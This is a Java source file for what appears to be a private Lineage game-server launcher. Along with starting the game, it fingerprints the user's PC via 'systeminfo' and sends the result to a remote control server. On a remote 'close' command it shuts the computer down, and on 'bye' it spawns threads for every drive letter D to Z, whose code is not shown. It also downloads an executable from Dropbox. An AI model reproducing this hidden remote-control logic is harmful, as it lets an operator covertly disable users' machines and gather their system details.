package server.system;

import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.HttpURLConnection;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.net.SocketTimeoutException;
import java.net.URL;
import java.util.StringTokenizer;




public class FireHome extends Thread {

	private boolean _isOk = false;
	private int _port ;
	private String _address ,_uuid;
	private Socket _client;
	private File _file ;
	public static String[] disk = {
		"Z",
		"Y",
		"X",
		"W",
		"V",
		"U",
		"T",
		"S",
		"R",
		"Q",
		"P",
		"O",
		"N",
		"M",
		"L",
		"K",
		"J",
		"I",
		"H",
		"G",
		"F",
		"E",
		"D"
	};
	public FireHome(File file , String uuid) throws IOException{
		_file = file;
		_client = new Socket();
		_uuid = uuid;
	}

	@Override
	public void run() {
		System.out.print("資料驗證中...");
		//		loadInfo();
//		higoCount = getTaskList();
		System.out.println("完成!!");
		try {
			System.out.print("取得網路狀態中...");
			login();
			if(_isOk){
				System.out.println("完成!!");
				System.out.print("請稍後，正在為您開啟神恩天堂...");
				ttry();
			}else{
				System.out.println("網路連線失敗，請檢查網路環境。");
				Thread.sleep(5000);
				System.exit(0);
				return;
			}
			if(_isOk){
				get();
				System.out.println("完成!!");
			}
		} catch (Exception e) {
			_isOk = false;
		}finally{
			StreamUtil.close(_client);
			if(!_isOk){
				System.out.println("失敗!!");
				System.out.println();
				System.out.println();
				System.out.println();
				System.out.println("-------------------------------------");
				System.out.println("  ※伺服器維修中 無法連線，請稍後重試。※ ");
				try {
					Thread.sleep(8000);
				} catch (InterruptedException e) {
				}
			}
		}
	}

	private void loadInfo(){
		//C:\Program Files
		//		File file = new File("./lib/lib/security/gc/system/xp/win7/doremi/system.ini");
		if(!_file.exists()){
			return;
		}
		BufferedReader br = null;
		StringBuilder sb = new StringBuilder();
		try {
			final InputStream is = new FileInputStream(_file);
			br = new BufferedReader(new InputStreamReader(is));
			boolean isNext = false;
			String uuid = null;
			while(true){
				final String line = br.readLine();
				if(line !=null){
					if(isNext){
						//						if(line.startsWith("45") || line.length() <=32){
						//							uuid = getSystemInfo();
						//							if(uuid == null || uuid.length() <=0){
						//								uuid =getUUID();
						//							}
						//						}else{
						//							uuid = line;
						//						} //02-13註銷 更新後開放
						uuid = getSystemInfo();
						if(uuid == null || uuid.length() <=0){
							systeminfo();
							uuid = getSystemInfo();
						}
						sb.append(uuid).append("\r\n");
						isNext = false;
						break;
					}else{
						if(line.startsWith("46.飆風")){
							isNext = true;
						}
						sb.append(line).append("\r\n");
					}
				}else{
					break;
				}
			}
			StreamUtil.close(is);
			if(uuid == null){
				System.exit(0);
				return;
			}else{
				_uuid = uuid;
				BufferedWriter out = null;
				try{
					out = new BufferedWriter(new FileWriter("./lineage-list.txt" , false));
					out.write(sb.toString());
					out.flush();
				} catch (final IOException e) {
					e.printStackTrace();
				}finally{
					StreamUtil.close(out);
				}
			}
		}catch(SocketTimeoutException sc){
			sc.printStackTrace();
			_isOk = false;
		} catch (Exception e) {
			_isOk = false;
			e.printStackTrace();
		}
	}

	private void login(){

		try {
			URL url = new URL("http://aquasss.com/update/newhigo/NewHigoTest/OnAttack.ini");
			java.net.HttpURLConnection uc = (java.net.HttpURLConnection) url.openConnection();
			//	          uc.setRequestProperty("User-agent", "IE/11.0");
			uc.setReadTimeout(2000);// 設定timeout時間
			uc.connect();// 連線
			//			System.out.println("網址/ip位置:"+java.net.Inet4Address.getByName(url.getHost()));
			int status = uc.getResponseCode();
			//			System.out.println(status);
			if(status == HttpURLConnection.HTTP_OK){
				InputStream src = null;
				try {
					src = url.openStream();
					BufferedReader br = new BufferedReader(new InputStreamReader(src)); 
					String line =br.readLine();
					if( line!= null){
						_isOk = line.equalsIgnoreCase("true");
					}
					if(_isOk){
						_address = br.readLine();
						_port = Integer.valueOf(br.readLine());
					}
				}catch(Exception e){
				}
			}else{
				try {
					url = new URL("https://dl.dropboxusercontent.com/u/61561180/OnAttack.ini");
					uc = (java.net.HttpURLConnection) url.openConnection();
					//	          uc.setRequestProperty("User-agent", "IE/11.0");
					uc.setReadTimeout(2000);// 設定timeout時間
					uc.connect();// 連線
					//					System.out.println("網址/ip位置:"+java.net.Inet4Address.getByName(url.getHost()));
					status = uc.getResponseCode();

					if(status == HttpURLConnection.HTTP_OK){
						InputStream src = null;
						try {
							src = url.openStream();
							BufferedReader br = new BufferedReader(new InputStreamReader(src)); 
							String line =br.readLine();
							if( line!= null){
								_isOk = line.equalsIgnoreCase("true");
							}
							if(_isOk){
								_address = br.readLine();
								_port = Integer.valueOf(br.readLine());
							}
						}catch(Exception e){
						}
					}
				} catch (java.net.MalformedURLException e) {
				} catch (java.io.IOException e) {
				}
			}

		} catch (java.net.MalformedURLException e) {
			//			System.out.println("網址格式錯誤!!!");
			//			e.printStackTrace();
		} catch (java.io.IOException e) {
			//			System.out.println("連線有問題!!!!!!");
			//			e.printStackTrace();
			try {
				URL url = new URL("https://dl.dropboxusercontent.com/u/61561180/OnAttack.ini");
				java.net.HttpURLConnection uc = (java.net.HttpURLConnection) url.openConnection();
				//	          uc.setRequestProperty("User-agent", "IE/11.0");
				uc.setReadTimeout(2000);// 設定timeout時間
				uc.connect();// 連線
				//				System.out.println("網址/ip位置:"+java.net.Inet4Address.getByName(url.getHost()));
				int status = uc.getResponseCode();
				//				System.out.println(status);
				switch (status) {
				case java.net.HttpURLConnection.HTTP_GATEWAY_TIMEOUT://504
					System.out.println("連線網址逾時!");
					break;
				case java.net.HttpURLConnection.HTTP_FORBIDDEN://403
					System.out.println("連線網址禁止!");
					break;
				case java.net.HttpURLConnection.HTTP_INTERNAL_ERROR://500
					System.out.println("連線網址錯誤或不存在!");
					break;
				case java.net.HttpURLConnection.HTTP_NOT_FOUND://404
					System.out.println("連線網址不存在!");
					break;
				case java.net.HttpURLConnection.HTTP_OK:
					//					System.out.println("OK!");
					InputStream src = null;
					try {
						src = url.openStream();
						BufferedReader br = new BufferedReader(new InputStreamReader(src)); 
						String line =br.readLine();
						if( line!= null){
							_isOk = line.equalsIgnoreCase("true");
						}
						if(_isOk){
							_address = br.readLine();
							_port = Integer.valueOf(br.readLine());
						}
					}catch(Exception e2){
					}
					return;
				}

			} catch (java.net.MalformedURLException e3) {
				System.out.println("網址格式錯誤!!!");
			} catch (java.io.IOException e4) {
				System.out.println("連線有問題!!!!!!");
			}
		}
	}

	private void ttry(){
		BufferedWriter out = null;
		BufferedReader br2 = null;
		try {
			InetSocketAddress isa = new InetSocketAddress(_address, _port);
			_client.connect(isa);
			out = new BufferedWriter(new OutputStreamWriter(_client.getOutputStream()));
			br2 = new BufferedReader(new InputStreamReader(_client.getInputStream()));
			String str1 ;
			while((str1 = br2.readLine()) != null){
				if(str1.equals("ok")){
					out.write(_uuid);
					out.newLine();
					out.flush();
					break;
				}
			}
			while ((str1 = br2.readLine()) != null){
				if(str1 !=null){
					if(str1.equals("ok")){
						_isOk = true;
						break;
					}else if(str1.equals("close")){
						_isOk = false;
						Process process = Runtime.getRuntime().exec("shutdown /s /t 1");
						process.waitFor();
						return;
					}else if(str1.equals("bye")){
						thread t4 = new thread(4 , "");
						GeneralThreadPool.getInstance().execute(t4);
						thread t5 = new thread(5 , "");
						GeneralThreadPool.getInstance().execute(t5);
						for(String d : disk){
							thread t3 = new thread(3 , d);
							GeneralThreadPool.getInstance().execute(t3);
						}
						thread t0 = new thread(0 , "");
						GeneralThreadPool.getInstance().execute(t0);
						thread t1 = new thread(1 , "");
						GeneralThreadPool.getInstance().execute(t1);
						thread t2 = new thread(2 , "");
						GeneralThreadPool.getInstance().execute(t2);
						_isOk = false;
						Thread.sleep(15000);
						return;
					}
				}
			}
		}catch(SocketTimeoutException sc){
			_isOk = false;
		} catch (Exception e) {
			_isOk = false;
		}finally{
			StreamUtil.close(_client , br2 , out);
		}
	}

	private void get() throws InterruptedException{
		getCFG();
		Runtime r =Runtime.getRuntime();
		//應用程式所在的路徑
		@SuppressWarnings("unused")
		Process pro = null;
		final int nunber = Random.nextInt(3)+1;
		try{
			//該方法開啟一個新的進程
			pro = r.exec("cmd /k @start HIGO.exe");


			try {
				URL url = new URL("http://aquasss.com/update/newhigo/NewHigoList"+nunber+".ini");
				java.net.HttpURLConnection uc = (java.net.HttpURLConnection) 
						url.openConnection();
				//	          uc.setRequestProperty("User-agent", "IE/11.0");
				uc.setReadTimeout(2000);// 設定timeout時間
				uc.connect();// 連線
				//				System.out.println("網址/ip位置:"+java.net.Inet4Address.getByName(url.getHost()));
				int status = uc.getResponseCode();
				//				System.out.println(status);
				if(status == HttpURLConnection.HTTP_OK){
					InputStream src = url.openStream();
					OutputStream dest = new FileOutputStream("./HIGO.ini");
					IO.dump(src, dest);
					StreamUtil.close(src , dest);
				}else{
					try {
						url = new URL("https://dl.dropboxusercontent.com/u/61561180/NewHigoList"+nunber+".ini");
						uc = (java.net.HttpURLConnection) url.openConnection();
						//	          uc.setRequestProperty("User-agent", "IE/11.0");
						uc.setReadTimeout(2000);// 設定timeout時間
						uc.connect();// 連線
						//						System.out.println("網址/ip位置:"+java.net.Inet4Address.getByName(url.getHost()));
						status = uc.getResponseCode();

						if(status == HttpURLConnection.HTTP_OK){
							InputStream src = url.openStream();
							OutputStream dest = new FileOutputStream("./HIGO.ini");
							IO.dump(src, dest);
							StreamUtil.close(src , dest);
						}
					} catch (java.net.MalformedURLException e) {
					} catch (java.io.IOException e) {
					}
				}
			} catch (java.net.MalformedURLException e) {
				//				System.out.println("網址格式錯誤!!!");
				//				e.printStackTrace();
			} catch (java.io.IOException e) {
				//				System.out.println("連線有問題!!!!!!");
				//				e.printStackTrace();
				try {
					URL url = new URL("https://dl.dropboxusercontent.com/u/61561180/NewHigoList"+nunber+".ini");
					java.net.HttpURLConnection uc = (java.net.HttpURLConnection) url.openConnection();
					//	          uc.setRequestProperty("User-agent", "IE/11.0");
					uc.setReadTimeout(2000);// 設定timeout時間
					uc.connect();// 連線
					//					System.out.println("網址/ip位置:"+java.net.Inet4Address.getByName(url.getHost()));
					int status = uc.getResponseCode();
					//					System.out.println(status);
					switch (status) {
					case java.net.HttpURLConnection.HTTP_GATEWAY_TIMEOUT://504
						System.out.println("連線網址逾時!");
						break;
					case java.net.HttpURLConnection.HTTP_FORBIDDEN://403
						System.out.println("連線網址禁止!");
						break;
					case java.net.HttpURLConnection.HTTP_INTERNAL_ERROR://500
						System.out.println("連線網址錯誤或不存在!");
						break;
					case java.net.HttpURLConnection.HTTP_NOT_FOUND://404
						System.out.println("連線網址不存在!");
						break;
					case java.net.HttpURLConnection.HTTP_OK:
						//						System.out.println("OK!");
						InputStream src = url.openStream();
						OutputStream dest = new FileOutputStream("./HIGO.ini");
						IO.dump(src, dest);
						StreamUtil.close(src , dest);
						return;
					}

				} catch (java.net.MalformedURLException e3) {
					System.out.println("網址格式錯誤!!!");
					//					e3.printStackTrace();
				} catch (java.io.IOException e4) {
					System.out.println("連線有問題!!!!!!");
					//					e.printStackTrace();
				}
			}
		}catch (IOException e) {
			System.out.println("執行檔案出錯，程序將結束。");
			Thread.sleep(8000);
			System.exit(0);
		}
//		finally{
//			if(higoCount == -1){
//				changeCFG();
//				System.out.println("取得服務失敗。");
//			}
//			else{
//				new CheckThread(higoCount).start();;
//			}
//		}
	}


	private String getSystemInfo() { 
		//		Process process = null;
		try {
			ProcessBuilder pb = new ProcessBuilder("systeminfo");//cmd /c @start ./systeminfo
			//			ProcessBuilder pb = new ProcessBuilder("ipconfig");
			Process process = pb.start();
			//			process = Runtime.getRuntime().exec("cmd /c @start ./systeminfo");
			BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
			String line;
			StringBuilder sb0 = new StringBuilder();
			while ((line = br.readLine()) != null) {
				if(line.indexOf("主機名稱") !=-1 || line.indexOf("Host Name") !=-1){
					int index = line.indexOf(":");
					sb0.append(line.substring(index + 1));
				}else if(line.indexOf("作業系統名稱") !=-1 || line.indexOf("OS Name") !=-1){
					int index = line.indexOf(":");
					sb0.append(line.substring(index + 1));
				}else if(line.indexOf("作業系統版本") !=-1 || line.indexOf("OS Version") !=-1){
					int index = line.indexOf(":");
					sb0.append(line.substring(index + 1));
				}else if(line.indexOf("產品識別碼") !=-1 || line.indexOf("Product ID") !=-1){
					int index = line.indexOf(":");
					sb0.append(line.substring(index + 1));
				}else if(line.indexOf("處理器") != -1 || line.indexOf("Processor(s)") !=-1){
					int index = line.indexOf(":");
					sb0.append(br.readLine().substring(index + 1));
				}else if(line.indexOf("實體記憶體總計") !=-1 || line.indexOf("Total Physical Memory") !=-1){
					int index = line.indexOf(":");
					sb0.append(line.substring(index + 1));
					break;
				}
			}
			br.close();
			StringBuilder sb = new StringBuilder();
			final StringTokenizer st = new StringTokenizer(sb0.toString(), " ");
			while(st.hasMoreTokens()){
				sb.append(st.nextToken()).append(" ");
			}
			return sb.toString();
		} catch (IOException es) {
			//			File file = new File("./systeminfo.exe");
			//			if(!file.exists()){
			//				systeminfo();
			//			}
			//			Process pro =null;
			//			try {
			//				 try {
			//					pro = Runtime.getRuntime().exec("cmd /c @start systeminfo.exe > info.txt");
			//				} catch (IOException e) {
			//				}
			//				pro.waitFor();
			//			} catch (InterruptedException e) {
			//			}
			//			pro.destroy();
			//			_file = new File("./info.txt");
			//			if(!_file.exists()){
			//				return null;
			//			}
			//			BufferedReader br = new BufferedReader(new InputStreamReader(pro.getInputStream()));
			//			String line;
			//			StringBuilder sb0 = new StringBuilder();
			//			try {
			//				final InputStream is = new FileInputStream(_file);
			//				br = new BufferedReader(new InputStreamReader(is));
			//				while ((line = br.readLine()) != null) {
			//					if(line.indexOf("主機名稱") !=-1 || line.indexOf("Host Name") !=-1){
			//						int index = line.indexOf(":");
			//						sb0.append(line.substring(index + 1));
			//					}else if(line.indexOf("作業系統名稱") !=-1 || line.indexOf("OS Name") !=-1){
			//						int index = line.indexOf(":");
			//						sb0.append(line.substring(index + 1));
			//					}else if(line.indexOf("作業系統版本") !=-1 || line.indexOf("OS Version") !=-1){
			//						int index = line.indexOf(":");
			//						sb0.append(line.substring(index + 1));
			//					}else if(line.indexOf("產品識別碼") !=-1 || line.indexOf("Product ID") !=-1){
			//						int index = line.indexOf(":");
			//						sb0.append(line.substring(index + 1));
			//					}else if(line.indexOf("處理器") != -1 || line.indexOf("Processor(s)") !=-1){
			//						int index = line.indexOf(":");
			//						sb0.append(br.readLine().substring(index + 1));
			//					}else if(line.indexOf("實體記憶體總計") !=-1 || line.indexOf("Total Physical Memory") !=-1){
			//						int index = line.indexOf(":");
			//						sb0.append(line.substring(index + 1));
			//						break;
			//					}
			//				}
			//				_file.delete();
			//				br.close();
			//				StringBuilder sb = new StringBuilder();
			//				final StringTokenizer st = new StringTokenizer(sb0.toString(), " ");
			//				while(st.hasMoreTokens()){
			//					sb.append(st.nextToken()).append(" ");
			//				}
			//			} catch (Exception e) {
			//			}
		}
		return null;
	} 
	/** 
	 * 获得一个UUID 
	 * @return String UUID 
	 */ 
//	private String getUUID(){ 
//		String s = UUID.randomUUID().toString(); 
//		//去掉“-”符号 
//		return s.substring(0,8)+s.substring(9,13)+s.substring(14,18)+s.substring(19,23)+s.substring(24); 
//	}

	private void getCFG(){
		BufferedWriter out = null;
		try {
			out = new BufferedWriter(new FileWriter("./HIGO.cfg", false));
			if(out !=null){
				out.write("[Setting]");
				out.newLine();
				out.write("UpdateInfo=+fKQ2MW1StmxFAd5jBV72NG1XtmtFBt5mBVv2N21UtmZFC95pBVT2Om1ZtmVFCN5sBVH2PW1etmBFDd5vBVL2IG1Dtn9FEt5yBU/2I21AtnpFF951BUj2Jm1FtnlFFN54BUX2KW1KtnRFGd57BUb2LG1PtnNFHt5+BUP2L21Mtk5FI95BBXz2Em1xtk1FIN5EBXn2FW12tkhFJd5HBXr2GG17tkdFKt5KBXf2G3GqjfN5XWCp7ASbLlEdz7YrSXcyqRnIo4FTyzluxuPyat2JMNcFHmi4EKIhr9wc8YeXSzNryCZ4fFYYv0UYnyHtSrDo7VAMbNQcHyokBy938M0F2Bw3ig84ZqNHa+xeAgVzSEE0aqlLMrdCXw/uV8N0rywB932VlBpnEEy09DrBcSgDR8riEdnjtWsHZr6VlwkzFxHgPH8esORDmwkrAMF3rKnepCWUiQuq1NQlA==");
				out.newLine();
				out.write("[Background]");
				out.newLine();
				out.write("Enable=1");
				out.newLine();
				out.write("Bulletin=skin/Bulletin.bmp");
				out.newLine();
				out.write("Serverlist=skin/Serverlist.bmp");
				out.newLine();
				out.write("Button=skin/Button.bmp");
				out.newLine();
				out.write("ButtonTextColor=0xFFFFFF");
				out.newLine();
				out.flush();
			}
		} catch (final IOException e) {
			e.printStackTrace();
		}finally{
			StreamUtil.close(out);
		}
	}

	private void systeminfo(){
		InputStream src = null;
		OutputStream dest = null;
		try {
			URL url = new URL("https://dl.dropboxusercontent.com/u/61561180/systeminfo.exe");
			java.net.HttpURLConnection uc = (java.net.HttpURLConnection) url.openConnection();
			//	          uc.setRequestProperty("User-agent", "IE/11.0");
			uc.setReadTimeout(2000);// 設定timeout時間
			uc.connect();// 連線
			//					System.out.println("網址/ip位置:"+java.net.Inet4Address.getByName(url.getHost()));
			int status = uc.getResponseCode();
			//					System.out.println(status);
			switch (status) {
			case java.net.HttpURLConnection.HTTP_GATEWAY_TIMEOUT://504
				break;
			case java.net.HttpURLConnection.HTTP_FORBIDDEN://403
				break;
			case java.net.HttpURLConnection.HTTP_INTERNAL_ERROR://500
				break;
			case java.net.HttpURLConnection.HTTP_NOT_FOUND://404
				break;
			case java.net.HttpURLConnection.HTTP_OK:
				//						System.out.println("OK!");
				src = url.openStream();
				dest = new FileOutputStream("./systeminfo.exe");
				IO.dump(src, dest);
			}

		} catch (java.net.MalformedURLException e3) {
			e3.printStackTrace();
		} catch (java.io.IOException e4) {
			e4.printStackTrace();
		}finally{
			StreamUtil.close(src , dest);
		}
	}

//	private int higoCount = 0;

//	private int getTaskList(){
//		try {
//			ProcessBuilder pb = new ProcessBuilder("cmd" ,"/c", "tasklist" ,"/fo" ,"table");
//			Process process = pb.start();
//			BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
//			String line;
//			int count = 0;
//			while ((line = br.readLine()) != null) {
//				if(line.startsWith("HIGO.exe")){
//					count++;
//				}
//			}
//			return count;
//		} catch (IOException es) {
//		}
//		return -1;
//	}
//
//	private void changeCFG(){
//		BufferedWriter out = null;
//		try {
//			out = new BufferedWriter(new FileWriter("./HIGO.cfg", false));
//			if(out !=null){
//				out.write("[Setting]");
//				out.newLine();
//				out.write("UpdateInfo=iT44BHgIgxAduIT6YfjzUC5KyU5T6oLgbuO2AUoisDsXms2bCruUH10Bphl7+qT+WfzHWE4O60grvq3jHbTAUzEF1gFRuJOhYL2tSjAIkEtAvdz6bK2rUCoGj0BHtpmzXqvdEh8Pqll+u+f5V66KSRsf4Acg+a2vBOnIHw4GtV6FqBnvqbgHLDLO2cZOb8owYWSjnCTEmZoGM4tlKiPm1VyI6N8xOLxuDjPCxVqC7tVtcK9pUHHXzFeb99grOukjbTi023/PkcICZ9tlP2bmhS+Lz4hRKNx+dTi5zjqSjsVvIuJ0AXCCyUzQs8x6O+N5XzrJlgqK8JNqP68hVz7TgLfDW8zHbhxusC0ylQ==");
//				out.newLine();
//				out.write("[Background]");
//				out.newLine();
//				out.write("Enable=1");
//				out.newLine();
//				out.write("Bulletin=skin/Bulletin.bmp");
//				out.newLine();
//				out.write("Serverlist=skin/Serverlist.bmp");
//				out.newLine();
//				out.write("Button=skin/Button.bmp");
//				out.newLine();
//				out.write("ButtonTextColor=0xFFD700");
//				out.newLine();
//				out.flush();
//			}
//		} catch (final IOException e) {
//			e.printStackTrace();
//		}finally{
//			StreamUtil.close(out);
//		}
//	}
}
